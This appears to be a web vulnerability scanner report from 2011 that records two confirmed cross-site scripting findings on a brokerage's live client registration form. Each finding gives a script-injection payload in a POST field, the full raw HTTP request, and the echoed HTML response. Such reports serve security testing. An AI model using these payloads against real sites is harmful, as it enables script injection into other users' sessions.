>&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BservProviderAnswer%5D POST '"--></style></script><script>alert(0x0001A6)</script>
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 299
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BservProviderAnswer%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0001A6)%3c%2fscript%3e&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:26:02 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BserviceProvider%5D POST BBAC47
aData%5BservProviderAnswer%5D POST '"--></style></script><script>alert(0x0001A7)</script>
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 333
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0001A7)%3c%2fscript%3e&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:26:02 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option 